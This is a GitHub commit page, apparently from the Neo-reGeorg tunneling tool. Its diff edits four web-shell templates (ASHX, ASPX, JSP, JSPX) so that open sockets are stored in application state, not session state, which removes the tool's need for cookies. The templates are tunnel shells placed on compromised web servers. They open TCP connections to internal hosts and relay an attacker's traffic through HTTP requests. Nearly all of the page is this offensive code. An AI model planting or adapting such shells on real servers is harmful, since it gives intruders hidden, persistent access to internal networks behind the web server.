Skip to content

Commit

Permalink
Remove reliance on cookies
Browse files Browse the repository at this point in the history
  • Loading branch information
L-codes committed Apr 18, 2021
1 parent 97fc8e6 commit 40f61c1
Show file tree
Hide file tree
Showing 4 changed files with 20 additions and 22 deletions.
11 changes: 5 additions & 6 deletions templates/tunnel.ashx
Original file line number Diff line number Diff line change
Expand Up @@ -43,21 +43,21 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sender.Connect(remoteEP);
sender.Blocking = false;
context.Session[mark] = sender;
context.Application[mark] = sender;
context.Response.AddHeader("X-STATUS", "OK");
} catch (Exception ex) {
context.Response.AddHeader("X-ERROR", "Failed connecting to target");
context.Response.AddHeader("X-STATUS", "FAIL");
}
} else if (cmd == "DISCONNECT") {
try {
Socket s = (Socket)context.Session[mark];
Socket s = (Socket)context.Application[mark];
s.Close();
} catch (Exception ex) {
}
context.Session.Remove(mark);
context.Application.Remove(mark);
} else if (cmd == "FORWARD") {
Socket s = (Socket)context.Session[mark];
Socket s = (Socket)context.Application[mark];
try {
int buffLen = context.Request.ContentLength;
byte[] buff = new byte[buffLen];
Expand All @@ -73,7 +73,7 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
}
} else if (cmd == "READ") {
try {
Socket s = (Socket)context.Session[mark];
Socket s = (Socket)context.Application[mark];
int c = 0;
byte[] readBuff = new byte[513];
try {
Expand All @@ -93,7 +93,6 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
}
}
} else {
context.Session["l"]=true;
context.Response.Write("Georg says, 'All seems fine'");
}
} catch (Exception ex) {
Expand Down
11 changes: 5 additions & 6 deletions templates/tunnel.aspx
Original file line number Diff line number Diff line change
Expand Up @@ -42,21 +42,21 @@
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sender.Connect(remoteEP);
sender.Blocking = false;
Session.Add(mark, sender);
Application.Add(mark, sender);
Response.AddHeader("X-STATUS", "OK");
} catch (Exception ex) {
Response.AddHeader("X-ERROR", "Failed connecting to target");
Response.AddHeader("X-STATUS", "FAIL");
}
} else if (cmd == "DISCONNECT") {
try {
Socket s = (Socket)Session[mark];
Socket s = (Socket)Application[mark];
s.Close();
} catch (Exception ex){
}
Session.Remove(mark);
Application.Remove(mark);
} else if (cmd == "FORWARD") {
Socket s = (Socket)Session[mark];
Socket s = (Socket)Application[mark];
try {
int buffLen = Request.ContentLength;
byte[] buff = new byte[buffLen];
Expand All @@ -72,7 +72,7 @@
}
} else if (cmd == "READ") {
try {
Socket s = (Socket)Session[mark];
Socket s = (Socket)Application[mark];
int c = 0;
byte[] readBuff = new byte[513];
try {
Expand All @@ -91,7 +91,6 @@
}
}
} else {
Session["l"]=true;
Response.Write("Georg says, 'All seems fine'");
}
} catch (Exception ex) {
Expand Down
10 changes: 5 additions & 5 deletions templates/tunnel.jsp
Original file line number Diff line number Diff line change
Expand Up @@ -196,21 +196,21 @@
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute(mark, socketChannel);
application.setAttribute(mark, socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (Exception e) {
response.setHeader("X-ERROR", "Failed connecting to target");
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("DISCONNECT") == 0) {
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
socketChannel.socket().close();
} catch (Exception e) {
}
session.removeAttribute(mark);
application.removeAttribute(mark);
} else if (cmd.compareTo("READ") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
Expand All @@ -227,7 +227,7 @@
}
} else if (cmd.compareTo("FORWARD") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try {
int readlen = request.getContentLength();
Expand Down
10 changes: 5 additions & 5 deletions templates/tunnel.jspx
Original file line number Diff line number Diff line change
Expand Up @@ -196,21 +196,21 @@
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute(mark, socketChannel);
application.setAttribute(mark, socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (Exception e) {
response.setHeader("X-ERROR", "Failed connecting to target");
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("DISCONNECT") == 0) {
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
socketChannel.socket().close();
} catch (Exception e) {
}
session.removeAttribute(mark);
application.removeAttribute(mark);
} else if (cmd.compareTo("READ") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
Expand All @@ -227,7 +227,7 @@
}

} else if (cmd.compareTo("FORWARD") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try {

int readlen = request.getContentLength();
Expand Down

0 comments on commit 40f61c1

Please sign in to comment.